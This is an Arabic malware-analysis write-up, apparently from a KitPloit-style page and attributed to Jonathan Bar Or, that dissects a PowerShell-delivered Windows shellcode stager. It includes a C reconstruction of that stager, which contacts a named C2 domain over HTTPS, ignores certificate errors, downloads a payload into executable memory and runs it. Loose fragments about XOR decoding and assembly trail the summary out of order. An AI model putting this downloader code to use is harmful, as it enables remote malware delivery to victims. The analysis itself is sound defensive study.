حسنًا، كان edi يشير إلى عدد البايتات المقروءة - يتم تفكيك الإشارة إليه (dereference) في eax. بعد ذلك، نضيف تلك القيمة إلى ebx، وهو مُحتفَظ به ويشير إلى منطقة الذاكرة RWX الخاصة بنا. إذا لم يكن eax صفرًا فهذا يعني أنه تمت قراءة بعض البايتات، لذلك نقفز مرة أخرى إلى 0x30f لقراءة المزيد من البيانات. هذا أمر شائع في سيناريوهات القراءة - نقرأ حدًا أقصى يبلغ 0x2000 بايت في كل مرة حتى نقرأ 0، وهو ما يعني عدم وجود بايتات متبقية للقراءة. إذا لم نقفز فنحن عند 0x32a، حيث ننفّذ pop للبايتات المخصصة من المكدس ثم نستدعي ret. وللتذكير، سبق أن دفعنا بداية المخزن المؤقت المُرجَع إلى المكدس، لذلك سيستخدمه ret كعنوان عودة. هذا يعني أننا ببساطة نقفز إلى المخزن المؤقت الذي حصلنا عليه - نتعامل معه أساسًا باعتباره shellcode آخر!

تجميع كل شيء معًا

هذا ما قد يبدو عليه الـ shellcode الخاص بنا من الناحية المفاهيمية:```c HINTERNET hInternet; HINTERNET hConnect; HINTERNET hRequest; DWORD dwSecurityOptions = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; DWORD dwErrorFlags = FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA; PBYTE pcPayload; PBYTE pcCurrPtr; DWORD dwBytesRead; INT (*pfnPayload)();

// Make sure "wininet.dll" is loaded in current process LoadLibraryA("wininet");

// Connect to C2 hInternet = InternetOpenA(NULL, 0, NULL, NULL, 0); hConnect = InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);

// Attempt to create a request to C2 do { hRequest = HttpOpenRequestA(hConnect, NULL, "/QpYB", NULL, NULL, NULL, INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, NULL); InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecurityOptions, sizeof(dwSecurityOptions)); if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0)) { ExitProcess(0); } } while (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, dwErrorFlags, NULL));

// Allocate RWX payload pcPayload = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTEREADWRITE);

// Read payload from the C2 pcCurrPtr = pcPayload; do { if (!InternetReadFile(hRequest, pcCurrPtr, 0x2000, &dwBytesRead)) { ExitProcess(0); } pcCurrPtr += dwBytesRead; } while (0 < dwBytesRead);

// Execute payload pfnPayload = (INT(*)())pcPayload; pfnPayload();

root@kitploit:~
## ملخص
على الرغم من أن هذا شيل كود شائع جدًا للنظر إليه، فإن تحليله بشكل ثابت له فوائد تعليمية:
- استخرجنا طبقات متعددة من كود PowerShell للحصول على شيل كود 32-بت.
- أثناء تحليل الشيل كود، ناقشنا `PEB` واستراتيجية كتابة الشيل كود على ويندوز.
- بنينا أداة للبحث العكسي عن الهاش (انظر `get_hash.py` في هذا المستودع).
- ناقشنا تقنيات شيل كود شائعة مثل `push-ret` و `call-pop`.
- تطرقنا إلى بعض أجزاء بنية ملف `PE`.

شكرًا،

Jonathan Bar Or (https://jonathanbaror.com)
تنزيل الأداة
PAGE_EXECUTEREADWRITE
  • يتم نسخ الحمولة في $var_code (التي تم فك تشفيرها من base64 وتطبيق XOR عليها بالثابت 35) إلى المخزن ثم تنفيذها (يتم ذلك عبر المفوض $var_runme).
  • لاحظ الجزء الأخير من الكود - يتحقق مما إذا كان حجم المؤشر هو 8. إذا كان كذلك (أي عملية 64-بت)، فسيتم تشغيله كوظيفة جديدة 32-بت. بخلاف ذلك، يقوم ببساطة بتنفيذ $DoIt.
  • ecx
    test
    eax
    ecx
    jne
    wininet.dll!InternetErrorDlg
  • الثابت 0x2f00 هو ERROR_INTERNET_FORCE_RETRY، ونقارن نتيجة InternetErrorDlg به.